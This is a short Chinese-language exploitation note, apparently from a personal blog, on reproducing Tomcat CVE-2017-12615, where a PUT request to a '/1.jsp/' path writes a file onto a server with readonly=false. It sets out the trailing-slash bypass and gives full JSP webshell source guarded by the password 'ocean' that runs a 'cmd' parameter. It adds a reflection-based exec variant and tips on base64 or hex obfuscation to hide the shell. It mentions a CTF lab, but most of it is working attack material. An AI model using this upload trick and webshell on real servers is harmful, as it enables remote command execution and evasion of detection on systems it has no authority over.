Tomcat漏洞利用

1

2017-12615 PUT任意文件上传-RCE

tomcat通过PUT方法任意文件写入(CVE-2017-12615)漏洞复现 - Junglezt - 博客园

Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass 绕过的代码审计,不清晰

Tomcat中如果在配置文件中设置了readonly=false,就会产生任意文件上传漏洞。可以通过put请求方法上传任意文件,例如jsp后门

靶场:BUUCTF在线评测或docker搭建

直接将GET请求页面改为PUT,路径改为:/1.jsp/

请求的地址为想要写入的文件名,例如这里是/1.jsp,为什么要加入/1.jsp/呢?
是因为tomcat解析到后缀名为jsp或者jspx的时候会交给JspServlet,最后的/是因为文件名特性最后不支持/默认会去除就可以绕过JspServlet文件的解析

Payload:Java安全-Java Web后门学习 Jsp 一句话分析

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}

%>

访问:IP/2.jsp?pwd=ocean&cmd=ls%20/

1
Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[]{}), request.getParameter("cmd"));

非常经典的反射

没有直接使用调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用变形来隐藏关键函数,这里用的是 base64,同理可以使用 hex 和 ascii 的编码绕过

类加载(冰蝎马实现方式)